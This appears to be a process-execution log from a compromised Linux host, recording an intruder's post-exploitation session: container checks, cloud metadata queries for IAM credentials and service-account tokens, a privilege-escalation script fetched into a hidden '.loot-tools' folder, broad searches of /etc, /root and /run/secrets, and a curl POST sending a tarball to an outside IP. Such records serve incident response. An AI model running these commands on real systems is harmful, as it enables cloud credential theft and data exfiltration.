2026-10-31 01:24:2123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /.dockerenv /run/.containerenv
2026-10-31 01:24:2123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m
2026-10-31 01:24:2123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgro
2026-10-31 01:24:2623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "--
2026-10-31 01:24:2623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/
2026-10-31 01:24:2623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id
2026-10-31 01:24:2623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /proc/1/root
2026-10-31 01:24:2623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
2026-10-31 01:24:3123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type
2026-10-31 01:24:3123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone
2026-10-31 01:24:3123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4
2026-10-31 01:24:3823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname
2026-10-31 01:24:3823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4
2026-10-31 01:24:45Not attributedNot attributedsh -> shcurl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:24:45Not attributedNot attributedsh -> shcurl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1422/<REDACTED>-deep.tgz
2026-10-31 01:24:45Not attributedNot attributedsh -> shls -l /tmp/<REDACTED>-deep
2026-10-31 01:24:45Not attributedNot attributedsh -> shfind /tmp/<REDACTED>-deep -maxdepth 1 -type f -printf %P %s
2026-10-31 01:24:45Not attributedNot attributedtimeout -> timeoutsh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:24:45Not attributedNot attributedsh -> shtimeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:24:4523.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname
2026-10-31 01:24:4523.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups
2026-10-31 01:24:4523.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info
2026-10-31 01:24:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json
2026-10-31 01:24:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token
2026-10-31 01:24:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/
2026-10-31 01:24:5923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
2026-10-31 01:24:5923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01
2026-10-31 01:24:5923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id
2026-10-31 01:24:5923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/
2026-10-31 01:24:5923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data
2026-10-31 01:25:0423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www
2026-10-31 01:25:0423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/
2026-10-31 01:25:0423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep
2026-10-31 01:25:0423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/metadata/v1/
2026-10-31 01:25:0423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root |
2026-10-31 01:25:0923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l
2026-10-31 01:25:0923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-31 01:25:0923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l
2026-10-31 01:25:0923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* )
2026-10-31 01:25:0923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /usr/share/nginx /srv/www -name .htaccess -type f
2026-10-31 01:25:0923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-31 01:25:0923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d
2026-10-31 01:25:1423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /home -type f -size -256k
2026-10-31 01:25:1423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /etc/apache2 -type f -size -256k
2026-10-31 01:25:1423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /usr/local/etc/php -type f -size -256k
2026-10-31 01:25:1423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l
2026-10-31 01:26:2023.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c ls -la /tmp/<REDACTED>-20261031 | head -20; echo ---; ps -eo pid,etime,args | grep -E "collect|find|curl" | grep -v grep | head ; ls -la /tmp/<REDACTED>-20261031 ; head -20 ; ps -eo pid,etime,args ; head ; grep -v grep ; grep -E collect|find|curl
2026-10-31 01:26:5123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shgrep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=<REDACTED>-20261031 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclu
2026-10-31 01:26:5123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' 